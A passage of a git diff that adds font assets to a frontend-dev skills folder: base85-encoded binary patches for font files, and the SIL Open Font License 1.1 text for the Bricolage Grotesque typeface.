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 F{{hdq%)S5s literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/BricolageGrotesque-OFL.txt b/skills/frontend-dev/canvas-fonts/BricolageGrotesque-OFL.txt new file mode 100644 index 0000000..fc2b216 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/BricolageGrotesque-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2022 The Bricolage Grotesque Project Authors (https://github.com/ateliertriay/bricolage) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/BricolageGrotesque-Regular.ttf b/skills/frontend-dev/canvas-fonts/BricolageGrotesque-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..0674ae3e4fc8c3f7baa53dbb582dd420ea73f224 GIT binary patch literal 90920 zcmcG12Yh42@&E2qbMLZTWy!K6OP1A(<u2QD@Ac016`$?vcfRvgj&=|@2t9Blp@tS( z2qc8|Cj=4#34uUJ;g^ICp(H>OLI^b{|G&HMNtS&FT=?Z@efE`kTV`fwXJ=>UJrha@ z$-qHQNLx#|wf3f(cL))N0e!8lzi;S@pV%h}`T0RYuDH2vXr!sm^lkwm+B`y%pXwWO zxMwdpRYnMXANkh~4Tpwj9v$h&{WozxKD}*f$IsrYauK3>jS!`6!_=-FfM?)&4$cW1 zww|#5hO=KUA*A|dLeBfc#@VTvlCAIl8qe3_xql-72^orN+}Gm1Y~!}w`+ug`bQK{v zj}VeLymfAR>izD#+X#_Wfq>h#P3_+yY#{%G{6)yG+dj2z_9y>PJU~bq+Em`PV{X^( zZx@XoAjI-#pz+|2`Pm&CmFJy_{3*z<x{ofL`91mhxFvL9fu!S1gb}iVsK_>=WOs3Y za+V7%Ul)0g5Jmk$PvkCzc3B=)nw6rY=_cd)*Vm-i{)@<DXq%AdQoF8a=a*kt`*)PR zMWL1N#I2GD42nNidjbJ(Ne(~Sh%mQf*8x`DzM0({sX*wy4I6h;iV~$H7bRu55~zY+ z1gt?buR);MWQJd}Lo!Lj39J&V$fZEObA%PR?-I{+HE~lvpvg*wT#m{h6TEF!hW~|z zy9ddSiO&2Nk#70ftTnWRKS3cJ#z{v~aW6<M5ppH2HGphGnj=5O@ll#dD9xs=IPRr; zaokV$<9H%H5yyk{AdaWg({VhLo{8f*^jsVd)5AD^oqiq1%jjh|UQMsY@fvy!j@Q%c zaeSG+jN?D(#{}#VWH_pXL>w(bC6NgZp&8UrPEkED%|*(<Jrx2tW+9hVunCpO=M-Fm zTkr^8!6*2ITA^NO5E_Lhlt*cyN(c&&Nzy`AkxgU|Ig?yUo*>VWw`n>pq!qM=&d}ZT z40;j0l0HBmqrU@Q@6eA>|61X4;YQ&t;RBf<v&q)VHp(uS-7ou@>|NQv<tg$ad6#@b zzD2%I{uTL!@_XbD%b$`zD}O@)=~8qmMiuK6Cn>I0+^V=o@v!14#j}bx6z?e&%1mXk zvRvs^4k}Moo~yh{d5iLH<xiB)DL+<askEw)sz<d_b)M>B)l;fxRd1<2NoYvuOIVYz zC1GE}T?s!<R3&C7mLzUVJR$MS#IGe@mH1rZn@KH6o0Gng^j307az*my<h{v{BtM-} zp5jeuOgT5@>XZjk9!vRa%EzgS)Xdc4R7>he>Qw5s)RR-sPkkcwxzx8)KTMOQh0_Mo zR;BGsyD06-w42lJN_#f#!}OH&y!5hkXL@b=iu9TE9qDJMA5Om~{o#zfjIs=8Mq@^Q z#={xE$#^xhDYGYYGILAj)0r=2{w?$4EJfD3tnFC`vJPckoOM;UE_*ins_a{`-_HIp 